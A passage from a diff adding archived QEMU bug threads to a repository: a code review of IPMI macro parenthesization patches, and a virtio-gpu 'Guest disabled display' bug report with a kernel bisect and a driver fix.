IPMI_BT_CLR_WR_BIT))) +> + ((((v) & 1) << IPMI_BT_CLR_WR_BIT))) + +and at the same time, you (still) have a redundant set on the second line. + +Better would be: + +((d) = (((d) & ~IPMI_BD_CLR_WR_MASK) | \ + (((v) & 1) << IPMI_BT_CLR_WR_BIT))) + +> +> #define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) +> #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +> #define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +> - (((v & 1) << IPMI_BT_CLR_RD_BIT))) +> + ((((v) & 1) << IPMI_BT_CLR_RD_BIT))) + +and again, throughout the patch. + + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +On 12/22/2016 09:01 AM, Eric Blake wrote: +> On 12/22/2016 08:30 AM, <email address hidden> wrote: +>> From: Corey Minyard <email address hidden> +>> +>> Macro parameters should almost always have () around them when used. +>> llvm reported an error on this. +>> +>> Reported in https://bugs.launchpad.net/bugs/1651167 +>> +>> Signed-off-by: Corey Minyard <email address hidden> +>> --- +>> hw/ipmi/isa_ipmi_bt.c | 18 +++++++++--------- +>> 1 file changed, 9 insertions(+), 9 deletions(-) +>> +>> diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +>> index f036617..8a97314 100644 +>> --- a/hw/ipmi/isa_ipmi_bt.c +>> +++ b/hw/ipmi/isa_ipmi_bt.c +>> @@ -40,37 +40,37 @@ +>> #define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) +>> #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +>> #define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +> Still under-parenthesized, if the result of IPMI_BT_SET_CLR_WR() is used +> in any larger expression; + +I wasn't thinking about this being used in a larger expression, but it +should be protected, +I suppose. I'll re-submit with that fixed and the extra () removed. + +Thanks, + +-corey + +>> - (((v & 1) << IPMI_BT_CLR_WR_BIT))) +>> + ((((v) & 1) << IPMI_BT_CLR_WR_BIT))) +> and at the same time, you (still) have a redundant set on the second line. +> +> Better would be: +> +> ((d) = (((d) & ~IPMI_BD_CLR_WR_MASK) | \ +> (((v) & 1) << IPMI_BT_CLR_WR_BIT))) +> +>> +>> #define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) +>> #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +>> #define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +>> - (((v & 1) << IPMI_BT_CLR_RD_BIT))) +>> + ((((v) & 1) << IPMI_BT_CLR_RD_BIT))) +> and again, throughout the patch. +> +> + + + +From: Corey Minyard <email address hidden> + +Macro parameters should almost always have () around them when used. +llvm reported an error on this. + +Remove redundant parenthesis and put parenthesis around the entire +macros with assignments in case they are used in an expression. + +Remove some unused macros. + +Reported in https://bugs.launchpad.net/bugs/1651167 + +Signed-off-by: Corey Minyard <email address hidden> +--- + hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- + 1 file changed, 12 insertions(+), 22 deletions(-) + +Changes in v2: + * Put parenthesis around macros that had assignment in them. + * Removed some redundant parenthesis. + * Removed some macros that were not used. + +diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +index f036617..68bf5cd 100644 +--- a/hw/ipmi/isa_ipmi_bt.c ++++ b/hw/ipmi/isa_ipmi_bt.c +@@ -37,40 +37,30 @@ + #define IPMI_BT_HBUSY_BIT 6 + #define IPMI_BT_BBUSY_BIT 7 + +-#define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) + #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_WR_BIT))) + +-#define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) + #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_RD_BIT))) + +-#define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) + #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_H2B_ATN_BIT))) + + #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) + #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_ATN_BIT))) ++#define IPMI_BT_SET_B2H_ATN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_ATN_BIT))) + + #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) + #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_SMS_ATN_BIT))) ++#define IPMI_BT_SET_SMS_ATN(d, v) ((d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_SMS_ATN_BIT))) + + #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) + #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_HBUSY_BIT))) ++#define IPMI_BT_SET_HBUSY(d, v) ((d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_HBUSY_BIT))) + + #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) +-#define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_BBUSY_BIT))) ++#define IPMI_BT_SET_BBUSY(d, v) ((d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_BBUSY_BIT))) + + + /* Mask register */ +@@ -79,13 +69,13 @@ + + #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) + #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) ++#define IPMI_BT_SET_B2H_IRQ_EN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) |\ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) + + #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) + #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) ++#define IPMI_BT_SET_B2H_IRQ(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) + + typedef struct IPMIBT { + IPMIBmc *bmc; +-- +2.7.4 + + + +On 12/22/2016 01:18 PM, <email address hidden> wrote: +> From: Corey Minyard <email address hidden> +> +> Macro parameters should almost always have () around them when used. +> llvm reported an error on this. +> +> Remove redundant parenthesis and put parenthesis around the entire +> macros with assignments in case they are used in an expression. +> +> Remove some unused macros. +> +> Reported in https://bugs.launchpad.net/bugs/1651167 +> +> Signed-off-by: Corey Minyard <email address hidden> +> --- +> hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- +> 1 file changed, 12 insertions(+), 22 deletions(-) + +Reviewed-by: Eric Blake <email address hidden> + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +From: Corey Minyard <email address hidden> + +Macro parameters should almost always have () around them when used. +llvm reported an error on this. + +Remove redundant parenthesis and put parenthesis around the entire +macros with assignments in case they are used in an expression. + +Remove some unused macros. + +Reported in https://bugs.launchpad.net/bugs/1651167 + +Signed-off-by: Corey Minyard <email address hidden> +Reviewed-by: Eric Blake <email address hidden> +--- + hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- + 1 file changed, 12 insertions(+), 22 deletions(-) + +Changed in v3: + * Add Eric's reviewed-by. Thanks! + +Changes in v2: + * Put parenthesis around macros that had assignment in them. + * Removed some redundant parenthesis. + * Removed some macros that were not used. + +diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +index f036617..68bf5cd 100644 +--- a/hw/ipmi/isa_ipmi_bt.c ++++ b/hw/ipmi/isa_ipmi_bt.c +@@ -37,40 +37,30 @@ + #define IPMI_BT_HBUSY_BIT 6 + #define IPMI_BT_BBUSY_BIT 7 + +-#define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) + #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_WR_BIT))) + +-#define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) + #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +-#define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +- (((v & 1) << IPMI_BT_CLR_RD_BIT))) + +-#define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) + #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_H2B_ATN_BIT))) + + #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) + #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_ATN_BIT))) ++#define IPMI_BT_SET_B2H_ATN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_ATN_BIT))) + + #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) + #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) +-#define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +- (((v & 1) << IPMI_BT_SMS_ATN_BIT))) ++#define IPMI_BT_SET_SMS_ATN(d, v) ((d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ ++ (((v) & 1) << IPMI_BT_SMS_ATN_BIT))) + + #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) + #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_HBUSY_BIT))) ++#define IPMI_BT_SET_HBUSY(d, v) ((d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_HBUSY_BIT))) + + #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) +-#define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) +-#define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +- (((v & 1) << IPMI_BT_BBUSY_BIT))) ++#define IPMI_BT_SET_BBUSY(d, v) ((d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ ++ (((v) & 1) << IPMI_BT_BBUSY_BIT))) + + + /* Mask register */ +@@ -79,13 +69,13 @@ + + #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) + #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) ++#define IPMI_BT_SET_B2H_IRQ_EN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) |\ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) + + #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) + #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) +-#define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +- (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) ++#define IPMI_BT_SET_B2H_IRQ(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ ++ (((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) + + typedef struct IPMIBT { + IPMIBmc *bmc; +-- +2.7.4 + + + +Ping - did this ever get applied? + +On 12/23/2016 08:07 AM, <email address hidden> wrote: +> From: Corey Minyard <email address hidden> +> +> Macro parameters should almost always have () around them when used. +> llvm reported an error on this. +> +> Remove redundant parenthesis and put parenthesis around the entire +> macros with assignments in case they are used in an expression. +> +> Remove some unused macros. +> +> Reported in https://bugs.launchpad.net/bugs/1651167 +> +> Signed-off-by: Corey Minyard <email address hidden> +> Reviewed-by: Eric Blake <email address hidden> +> --- +> hw/ipmi/isa_ipmi_bt.c | 34 ++++++++++++---------------------- +> 1 file changed, 12 insertions(+), 22 deletions(-) +> +> Changed in v3: +> * Add Eric's reviewed-by. Thanks! +> +> Changes in v2: +> * Put parenthesis around macros that had assignment in them. +> * Removed some redundant parenthesis. +> * Removed some macros that were not used. +> +> diff --git a/hw/ipmi/isa_ipmi_bt.c b/hw/ipmi/isa_ipmi_bt.c +> index f036617..68bf5cd 100644 +> --- a/hw/ipmi/isa_ipmi_bt.c +> +++ b/hw/ipmi/isa_ipmi_bt.c +> @@ -37,40 +37,30 @@ +> #define IPMI_BT_HBUSY_BIT 6 +> #define IPMI_BT_BBUSY_BIT 7 +> +> -#define IPMI_BT_CLR_WR_MASK (1 << IPMI_BT_CLR_WR_BIT) +> #define IPMI_BT_GET_CLR_WR(d) (((d) >> IPMI_BT_CLR_WR_BIT) & 0x1) +> -#define IPMI_BT_SET_CLR_WR(d, v) (d) = (((d) & ~IPMI_BT_CLR_WR_MASK) | \ +> - (((v & 1) << IPMI_BT_CLR_WR_BIT))) +> +> -#define IPMI_BT_CLR_RD_MASK (1 << IPMI_BT_CLR_RD_BIT) +> #define IPMI_BT_GET_CLR_RD(d) (((d) >> IPMI_BT_CLR_RD_BIT) & 0x1) +> -#define IPMI_BT_SET_CLR_RD(d, v) (d) = (((d) & ~IPMI_BT_CLR_RD_MASK) | \ +> - (((v & 1) << IPMI_BT_CLR_RD_BIT))) +> +> -#define IPMI_BT_H2B_ATN_MASK (1 << IPMI_BT_H2B_ATN_BIT) +> #define IPMI_BT_GET_H2B_ATN(d) (((d) >> IPMI_BT_H2B_ATN_BIT) & 0x1) +> -#define IPMI_BT_SET_H2B_ATN(d, v) (d) = (((d) & ~IPMI_BT_H2B_ATN_MASK) | \ +> - (((v & 1) << IPMI_BT_H2B_ATN_BIT))) +> +> #define IPMI_BT_B2H_ATN_MASK (1 << IPMI_BT_B2H_ATN_BIT) +> #define IPMI_BT_GET_B2H_ATN(d) (((d) >> IPMI_BT_B2H_ATN_BIT) & 0x1) +> -#define IPMI_BT_SET_B2H_ATN(d, v) (d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +> - (((v & 1) << IPMI_BT_B2H_ATN_BIT))) +> +#define IPMI_BT_SET_B2H_ATN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_ATN_MASK) | \ +> + (((v) & 1) << IPMI_BT_B2H_ATN_BIT))) +> +> #define IPMI_BT_SMS_ATN_MASK (1 << IPMI_BT_SMS_ATN_BIT) +> #define IPMI_BT_GET_SMS_ATN(d) (((d) >> IPMI_BT_SMS_ATN_BIT) & 0x1) +> -#define IPMI_BT_SET_SMS_ATN(d, v) (d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +> - (((v & 1) << IPMI_BT_SMS_ATN_BIT))) +> +#define IPMI_BT_SET_SMS_ATN(d, v) ((d) = (((d) & ~IPMI_BT_SMS_ATN_MASK) | \ +> + (((v) & 1) << IPMI_BT_SMS_ATN_BIT))) +> +> #define IPMI_BT_HBUSY_MASK (1 << IPMI_BT_HBUSY_BIT) +> #define IPMI_BT_GET_HBUSY(d) (((d) >> IPMI_BT_HBUSY_BIT) & 0x1) +> -#define IPMI_BT_SET_HBUSY(d, v) (d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +> - (((v & 1) << IPMI_BT_HBUSY_BIT))) +> +#define IPMI_BT_SET_HBUSY(d, v) ((d) = (((d) & ~IPMI_BT_HBUSY_MASK) | \ +> + (((v) & 1) << IPMI_BT_HBUSY_BIT))) +> +> #define IPMI_BT_BBUSY_MASK (1 << IPMI_BT_BBUSY_BIT) +> -#define IPMI_BT_GET_BBUSY(d) (((d) >> IPMI_BT_BBUSY_BIT) & 0x1) +> -#define IPMI_BT_SET_BBUSY(d, v) (d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +> - (((v & 1) << IPMI_BT_BBUSY_BIT))) +> +#define IPMI_BT_SET_BBUSY(d, v) ((d) = (((d) & ~IPMI_BT_BBUSY_MASK) | \ +> + (((v) & 1) << IPMI_BT_BBUSY_BIT))) +> +> +> /* Mask register */ +> @@ -79,13 +69,13 @@ +> +> #define IPMI_BT_B2H_IRQ_EN_MASK (1 << IPMI_BT_B2H_IRQ_EN_BIT) +> #define IPMI_BT_GET_B2H_IRQ_EN(d) (((d) >> IPMI_BT_B2H_IRQ_EN_BIT) & 0x1) +> -#define IPMI_BT_SET_B2H_IRQ_EN(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) | \ +> - (((v & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) +> +#define IPMI_BT_SET_B2H_IRQ_EN(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_EN_MASK) |\ +> + (((v) & 1) << IPMI_BT_B2H_IRQ_EN_BIT))) +> +> #define IPMI_BT_B2H_IRQ_MASK (1 << IPMI_BT_B2H_IRQ_BIT) +> #define IPMI_BT_GET_B2H_IRQ(d) (((d) >> IPMI_BT_B2H_IRQ_BIT) & 0x1) +> -#define IPMI_BT_SET_B2H_IRQ(d, v) (d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +> - (((v & 1) << IPMI_BT_B2H_IRQ_BIT))) +> +#define IPMI_BT_SET_B2H_IRQ(d, v) ((d) = (((d) & ~IPMI_BT_B2H_IRQ_MASK) | \ +> + (((v) & 1) << IPMI_BT_B2H_IRQ_BIT))) +> +> typedef struct IPMIBT { +> IPMIBmc *bmc; +> + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +Fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=cb9a05a4f169347f85 + diff --git a/results/classifier/deepseek-1/output/changes./1882851 b/results/classifier/deepseek-1/output/changes./1882851 new file mode 100644 index 00000000..a1cecc71 --- /dev/null +++ b/results/classifier/deepseek-1/output/changes./1882851 @@ -0,0 +1,493 @@ + +QEMU video freezes with "Guest disabled display" (virtio driver) + +I am using Arch Linux as my Guest and Host OS, after starting qemu with the following command: + + $ qemu-system-x86_64 -enable-kvm -hda arch-zoom.qcow2 -m 4G -vga virtio + +and waiting for a screen blank, I get this message: + + Guest disabled display + +And nothing happens after that, I can move the mouse or hit any key, and the message is still there. + +I can still reboot the VM but that's not optimal. + +I can reproduce this with the latest QEMU release (5.0.0) or git master, +I also tried this with older releases (4.0.0, 3.0.0) and the issue is still there. + +I can't reproduce this with other video drivers (std, qxl). + +With std/qxl the screen will blank a bit and then continue as normal. + +OK, I found a workaround: sendkey ctrl-alt-f1 from the QEMU console (ctrl alt 2) then I can switch back to X and continue from where I left off. + +Strange, that workaround doesn't work anymore. + +My bad, the workaround works, it's just a bit tricky. + +`xset dpms force off' on the guest is a good way to reproduce it. + +Hmm, happens with xorg only. +Wayland behaves as expected (any mouse/kbd event wakes up the screen). +Which pretty much implies this is a guest bug. + +> Hmm, happens with xorg only. + +Nope, I can reproduce it with sway as well (which is another Wayland compositor). + +To reproduce it with sway, just do: swaymsg "output * dpms off" and then should you see "Guest disabled display", at that point I'm unable to get back image. + +I tried the sendkey ctrl-alt-f2 and then switch back to TTY1 but the "Guest disabled display" remains. + +Can you please tell me which compositor you used? + +Thanks. + +I can't wake up the screen after hitting keys or moving the mouse after turning off the screen with sway. + +Gerd: I tried the LTS kernel on Arch Linux (5.4.46-1-lts) and I can't reproduce the bug with this kernel. + +It works as expected: `xset dpms force off' triggers the "Guest disabled display" and it disappears after moving the mouse. + +Could it be a regression in virtio_gpu? + +I guess I'll try the latest linux git and if it's an issue in master, I'll bisect it. + +I can reproduce it with current linux git master[1]. + +1. git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git + +OK, I was able to bisect, here is the result: + +[diego@arch-zoom linux]$ git bisect bad +3954ff10e06e4fbc548fc02ff1fcaaac3228fed5 is the first bad commit +commit 3954ff10e06e4fbc548fc02ff1fcaaac3228fed5 +Author: Gerd Hoffmann <email address hidden> +Date: Thu Dec 12 13:53:44 2019 +0100 + + drm/virtio: skip set_scanout if framebuffer didn't change + + v2: also check src rect (Chia-I Wu). + + Signed-off-by: Gerd Hoffmann <email address hidden> + Reviewed-by: Chia-I Wu <email address hidden> + Link: http://patchwork<email address hidden> + + drivers/gpu/drm/virtio/virtgpu_plane.c | 35 ++++++++++++++++++++-------------- + 1 file changed, 21 insertions(+), 14 deletions(-) +[diego@arch-zoom linux]$ + + + + +I just sanity checked, and can confirm the bad commit causes it, and going back one commit makes it work. + +When going through a disable/enable cycle without changing the framebuffer +the optimization added by commit 3954ff10e06e causes the screen stay +blank. Add a bool to force an update to fix that. + +Cc: <email address hidden> +Fixes: 3954ff10e06e ("drm/virtio: skip set_scanout if framebuffer didn't change") +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + drivers/gpu/drm/virtio/virtgpu_drv.h | 1 + + drivers/gpu/drm/virtio/virtgpu_display.c | 1 + + drivers/gpu/drm/virtio/virtgpu_plane.c | 4 +++- + 3 files changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/virtio/virtgpu_drv.h b/drivers/gpu/drm/virtio/virtgpu_drv.h +index 7879ff58236f..6d5410d5dd84 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_drv.h ++++ b/drivers/gpu/drm/virtio/virtgpu_drv.h +@@ -138,6 +138,7 @@ struct virtio_gpu_output { + int cur_x; + int cur_y; + bool enabled; ++ bool need_update; + }; + #define drm_crtc_to_virtio_gpu_output(x) \ + container_of(x, struct virtio_gpu_output, crtc) +diff --git a/drivers/gpu/drm/virtio/virtgpu_display.c b/drivers/gpu/drm/virtio/virtgpu_display.c +index 2b7e6ae65546..44e9c7b874f5 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_display.c ++++ b/drivers/gpu/drm/virtio/virtgpu_display.c +@@ -99,6 +99,7 @@ static void virtio_gpu_crtc_atomic_enable(struct drm_crtc *crtc, + struct virtio_gpu_output *output = drm_crtc_to_virtio_gpu_output(crtc); + + output->enabled = true; ++ output->need_update = true; + } + + static void virtio_gpu_crtc_atomic_disable(struct drm_crtc *crtc, +diff --git a/drivers/gpu/drm/virtio/virtgpu_plane.c b/drivers/gpu/drm/virtio/virtgpu_plane.c +index 52d24179bcec..5948031a9ce8 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_plane.c ++++ b/drivers/gpu/drm/virtio/virtgpu_plane.c +@@ -163,7 +163,8 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, + plane->state->src_w != old_state->src_w || + plane->state->src_h != old_state->src_h || + plane->state->src_x != old_state->src_x || +- plane->state->src_y != old_state->src_y) { ++ plane->state->src_y != old_state->src_y || ++ output->need_update) { + DRM_DEBUG("handle 0x%x, crtc %dx%d+%d+%d, src %dx%d+%d+%d\n", + bo->hw_res_handle, + plane->state->crtc_w, plane->state->crtc_h, +@@ -178,6 +179,7 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, + plane->state->src_h >> 16, + plane->state->src_x >> 16, + plane->state->src_y >> 16); ++ output->need_update = false; + } + + virtio_gpu_cmd_resource_flush(vgdev, bo->hw_res_handle, +-- +2.18.4 + + + +Gerd, thanks. I can confirm your patch fixes the problem with X, but Wayland (sway) is still affected. + +I tested X and wayland, and while the "Guest disabled display" no longer hangs on X, it still does hangs under wayland. + +Should I bisect again? + +Sway log after the crash. + +It looks like sway requires swayidle to wake up from sleep[1]. + +This works: + +swayidle timeout 2 'swaymsg "output * dpms off"' resume 'swaymsg "output * dpms on"' + +1. https://github.com/swaywm/sway/issues/2914 + +Yeah, I can reproduce the same exact behavior outside of QEMU with sway and it's consistent to what I observed in QEMU. + +> Hmm, happens with xorg only. + +I think you were right all along about this, sorry. + +Thanks for fixing this bug, feel free to close this bug as fixed. + +Will the patch make it for 5.8? + +When going through a disable/enable cycle without changing the +framebuffer the optimization added by commit 3954ff10e06e ("drm/virtio: +skip set_scanout if framebuffer didn't change") causes the screen stay +blank. Add a bool to force an update to fix that. + +Cc: <email address hidden> +Fixes: 3954ff10e06e ("drm/virtio: skip set_scanout if framebuffer didn't change") +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + drivers/gpu/drm/virtio/virtgpu_drv.h | 1 + + drivers/gpu/drm/virtio/virtgpu_display.c | 1 + + drivers/gpu/drm/virtio/virtgpu_plane.c | 4 +++- + 3 files changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/virtio/virtgpu_drv.h b/drivers/gpu/drm/virtio/virtgpu_drv.h +index 9ff9f4ac0522..7b0c319f23c9 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_drv.h ++++ b/drivers/gpu/drm/virtio/virtgpu_drv.h +@@ -138,6 +138,7 @@ struct virtio_gpu_output { + int cur_x; + int cur_y; + bool enabled; ++ bool need_update; + }; + #define drm_crtc_to_virtio_gpu_output(x) \ + container_of(x, struct virtio_gpu_output, crtc) +diff --git a/drivers/gpu/drm/virtio/virtgpu_display.c b/drivers/gpu/drm/virtio/virtgpu_display.c +index cc7fd957a307..378be5956b30 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_display.c ++++ b/drivers/gpu/drm/virtio/virtgpu_display.c +@@ -100,6 +100,7 @@ static void virtio_gpu_crtc_atomic_enable(struct drm_crtc *crtc, + struct virtio_gpu_output *output = drm_crtc_to_virtio_gpu_output(crtc); + + output->enabled = true; ++ output->need_update = true; + } + + static void virtio_gpu_crtc_atomic_disable(struct drm_crtc *crtc, +diff --git a/drivers/gpu/drm/virtio/virtgpu_plane.c b/drivers/gpu/drm/virtio/virtgpu_plane.c +index 52d24179bcec..5948031a9ce8 100644 +--- a/drivers/gpu/drm/virtio/virtgpu_plane.c ++++ b/drivers/gpu/drm/virtio/virtgpu_plane.c +@@ -163,7 +163,8 @@ static void virtio_gpu_primary_plane_update(struct drm_plane *plane, + plane->state->src_w != old_state->src_w || + plane->state->src_h != old_state->src_h || + plane->state->src_x != old_state->src_x || +- plane->state->src_y != old_state->src_y) { ++ plane->state->src_y != old_state->src_y || ++ output->need_update) { + DRM_DEBUG("handle 0x%x, crtc %dx%d+%d+%d, src %dx%d+%d+%d\n", + bo->hw_res_handle, + 